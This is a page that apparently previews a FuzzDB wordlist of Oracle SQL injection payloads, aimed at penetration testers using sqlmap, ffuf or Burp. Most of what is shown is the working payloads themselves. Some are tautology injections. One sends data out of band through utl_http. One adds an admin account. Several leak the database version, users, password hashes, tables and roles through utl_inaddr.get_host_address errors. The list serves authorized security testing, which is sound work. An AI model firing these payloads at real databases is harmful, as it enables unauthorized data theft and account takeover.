Skip to content
Fuzzing7.8 KB

FuzzDB Oracle SQL Injection Detection

Oracle-specific SQL injection detection and out-of-band payloads leveraging utl_http, utl_inaddr.get_host_address, and SYS catalog queries for error-based and exfiltration testing.

View source
Size
7.8 KB
Category
Fuzzing
Source
fuzzdb-project/fuzzdb
License
GPLv2
Recommended tools
sqlmapffufburp

Preview

First 15 entries. Download or copy the full list (7.8 KB) using the buttons above.

>head oracle-sqli-detect-fuzzdb.txt7.8 KB
’ or ‘1’=’1
' or '1'='1
'||utl_http.request('httP://192.168.1.1/')||'
' || myappadmin.adduser('admin', 'newpass') || '
' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i
' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i

Oracle-specific SQL injection detection and out-of-band payloads leveraging utl_http, utl_inaddr.get_host_address, and SYS catalog queries for error-based and exfiltration testing.

This list is geared toward input fuzzing and vulnerability discovery. It contains roughly 7.8 KB and pairs well with tools such as sqlmap, ffuf, burp. Pick the smallest list that fits your engagement: shorter lists are faster and quieter for online attacks, while larger lists give broader coverage for offline work where speed is less of a constraint.

You can copy the sample preview straight from this page, copy the entire list to your clipboard, or download the raw .txt file. The full list is served directly from its upstream source on GitHub.

Sourced from fuzzdb-project/fuzzdb and distributed under GPLv2. Only use wordlists against systems you are explicitly authorized to test.